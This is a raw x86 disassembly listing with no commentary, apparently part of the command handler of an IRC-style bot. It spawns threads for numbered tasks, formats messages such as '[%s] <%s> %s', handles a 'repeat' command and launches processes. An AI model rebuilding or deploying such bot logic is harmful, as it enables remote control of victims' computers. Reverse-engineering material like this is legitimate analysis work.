		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCB0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEC8
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407A35:				; CODE XREF: sub_401ACD+5E8Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_407A62:				; CODE XREF: sub_401ACD+4ED1j
					; sub_401ACD+4EE8j
		push	[ebp+arg_10]
		call	dword_4CAFB4
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3D8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C668
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407B44


loc_407B2E:				; CODE XREF: sub_401ACD+6075j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_407B2E
; ---------------------------------------------------------------------------


loc_407B44:				; CODE XREF: sub_401ACD+605Fj
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_42A4CC
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407B55:				; CODE XREF: sub_401ACD+4EA3j
					; sub_401ACD+4EBAj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A39C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset loc_4103AA
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407C41


loc_407C2B:				; CODE XREF: sub_401ACD+6172j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_407C2B
; ---------------------------------------------------------------------------


loc_407C41:				; CODE XREF: sub_401ACD+615Cj
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_42A358
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407C52:				; CODE XREF: sub_401ACD+4E75j
					; sub_401ACD+4E8Cj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAB
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB1
; ---------------------------------------------------------------------------


loc_407CAB:				; CODE XREF: sub_401ACD+61C8j
		mov	[ebp+var_2668],	ebx


loc_407CB1:				; CODE XREF: sub_401ACD+61DCj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC8
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCE
; ---------------------------------------------------------------------------


loc_407CC8:				; CODE XREF: sub_401ACD+61EAj
		mov	[ebp+var_266C],	ebx


loc_407CCE:				; CODE XREF: sub_401ACD+61F9j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A32C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407D7F


loc_407D69:				; CODE XREF: sub_401ACD+62B0j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_407D69
; ---------------------------------------------------------------------------


loc_407D7F:				; CODE XREF: sub_401ACD+629Aj
		call	near ptr 2670859h
		nop
		push	eax
		push	offset unk_42A2EC
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407D90:				; CODE XREF: sub_401ACD+4E47j
					; sub_401ACD+4E5Ej
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42A2B0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset byte_414A91
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407E67


loc_407E51:				; CODE XREF: sub_401ACD+6398j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_407E51
; ---------------------------------------------------------------------------


loc_407E67:				; CODE XREF: sub_401ACD+6382j
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_42A278
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407E78:				; CODE XREF: sub_401ACD+4D1Aj
					; sub_401ACD+4D31j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42A248
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset dword_4137CC
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407F4F


loc_407F39:				; CODE XREF: sub_401ACD+6480j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 2660F23h
		nop
		jmp	short loc_407F39
; ---------------------------------------------------------------------------


loc_407F4F:				; CODE XREF: sub_401ACD+646Aj
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_42A210
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407F60:				; CODE XREF: sub_401ACD+4BF1j
					; sub_401ACD+4C08j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42A1E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset byte_412A53
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408048


loc_408032:				; CODE XREF: sub_401ACD+6579j
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 2660F23h
		nop
		jmp	short loc_408032
; ---------------------------------------------------------------------------


loc_408048:				; CODE XREF: sub_401ACD+6563j
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_42A1A8
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_408059:				; CODE XREF: sub_401ACD+4BC3j
					; sub_401ACD+4BDAj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A4
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4080A4:				; CODE XREF: sub_401ACD+65C3j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A178
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408130


loc_40811A:				; CODE XREF: sub_401ACD+6661j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDE
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_40811A
; ---------------------------------------------------------------------------


loc_408130:				; CODE XREF: sub_401ACD+664Bj
		call	near ptr 2670859h
		nop
		push	eax
		push	offset dword_42A13C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_408141:				; CODE XREF: sub_401ACD+4B83j
					; sub_401ACD+4B9Aj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408234
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A110
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset byte_412E9D
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408223


loc_408211:				; CODE XREF: sub_401ACD+6754j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828B
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_408211
; ---------------------------------------------------------------------------


loc_408223:				; CODE XREF: sub_401ACD+6742j
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_42A0D8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_408234:				; CODE XREF: sub_401ACD+6683j
		push	offset unk_42A0A0
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40823E:				; CODE XREF: sub_401ACD+4B55j
					; sub_401ACD+4B6Cj
		push	edi
		push	[ebp+arg_10]
		nop
		call	near ptr 2690A12h
		test	eax, eax
		jz	short loc_40826B
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42A07C
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828B
; ---------------------------------------------------------------------------


loc_40826B:				; CODE XREF: sub_401ACD+677Dj
		push	offset dword_42A070
		call	sub_41814C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980


loc_408288:				; CODE XREF: sub_401ACD+2F2Aj
					; sub_401ACD+556Fj
		add	esp, 0Ch


loc_40828B:				; CODE XREF: sub_401ACD+2136j
					; sub_401ACD+2ECCj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4082A8:				; CODE XREF: sub_401ACD+57C6j
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_4082B5:				; CODE XREF: sub_401ACD+4B27j
					; sub_401ACD+4B3Ej
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082EF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082EF
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4082EF:				; CODE XREF: sub_401ACD+6802j
					; sub_401ACD+6811j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42A040
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset byte_416CAD
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4083A1


loc_40838F:				; CODE XREF: sub_401ACD+68D2j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BC
		push	32h
		call	near ptr 2660F23h
		nop
		jmp	short loc_40838F
; ---------------------------------------------------------------------------


loc_4083A1:				; CODE XREF: sub_401ACD+68C0j
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_42A004


loc_4083AD:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_4083BC:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D02
; ---------------------------------------------------------------------------


loc_4083C4:				; CODE XREF: sub_401ACD+4AF9j
					; sub_401ACD+4B10j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408403
		mov	[ebp+var_638], 5


loc_408403:				; CODE XREF: sub_401ACD+692Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDE
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2650B82h
		test	eax, eax
		jnz	short loc_40844C
		push	offset unk_429FE0
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40844C:				; CODE XREF: sub_401ACD+6973j
		push	edi
		push	offset dword_429FC4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_408457:				; CODE XREF: sub_401ACD+4ACBj
					; sub_401ACD+4AE2j
		push	edi
		push	offset aDark	; "Dark"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D0
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		call	near ptr 2690000h
		nop
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD80
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084EC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F2
; ---------------------------------------------------------------------------


loc_4084EC:				; CODE XREF: sub_401ACD+6A09j
		mov	[ebp+var_23C0],	ebx


loc_4084F2:				; CODE XREF: sub_401ACD+6A1Dj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_408509
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_40850F
; ---------------------------------------------------------------------------


loc_408509:				; CODE XREF: sub_401ACD+6A2Bj
		mov	[ebp+var_23C4],	ebx


loc_40850F:				; CODE XREF: sub_401ACD+6A3Aj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429F8C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4085BF


loc_4085A9:				; CODE XREF: sub_401ACD+6AF0j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDE
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_4085A9
; ---------------------------------------------------------------------------


loc_4085BF:				; CODE XREF: sub_401ACD+6ADAj
		nop
		call	near ptr 2670859h
		push	eax
		push	offset dword_429F50
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4085D0:				; CODE XREF: sub_401ACD+6999j
		push	offset dword_429F08


loc_4085D5:				; CODE XREF: sub_401ACD+2E73j
					; sub_401ACD+457Cj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDE
; ---------------------------------------------------------------------------


loc_4085E8:				; CODE XREF: sub_401ACD+4A9Dj
					; sub_401ACD+4AB4j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408673
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 2660F23h


loc_408673:				; CODE XREF: sub_401ACD+6B8Ej
		push	offset dword_429EE4
		call	sub_4151AC
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408687:				; CODE XREF: sub_401ACD+4A6Fj
					; sub_401ACD+4A86j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408745
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_429ECC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408745:				; CODE XREF: sub_401ACD+6BFAj
		push	offset unk_429E98


loc_40874A:				; CODE XREF: sub_401ACD+7542j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408759:				; CODE XREF: sub_401ACD+74CAj
					; sub_401ACD+7623j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877A
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_40877A:				; CODE XREF: sub_401ACD+6C8Fj
					; sub_401ACD+72C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_409853
; ---------------------------------------------------------------------------


loc_40878B:				; CODE XREF: sub_401ACD+4A41j
					; sub_401ACD+4A58j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2218],	esi
		push	offset unk_429E64
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B0F6
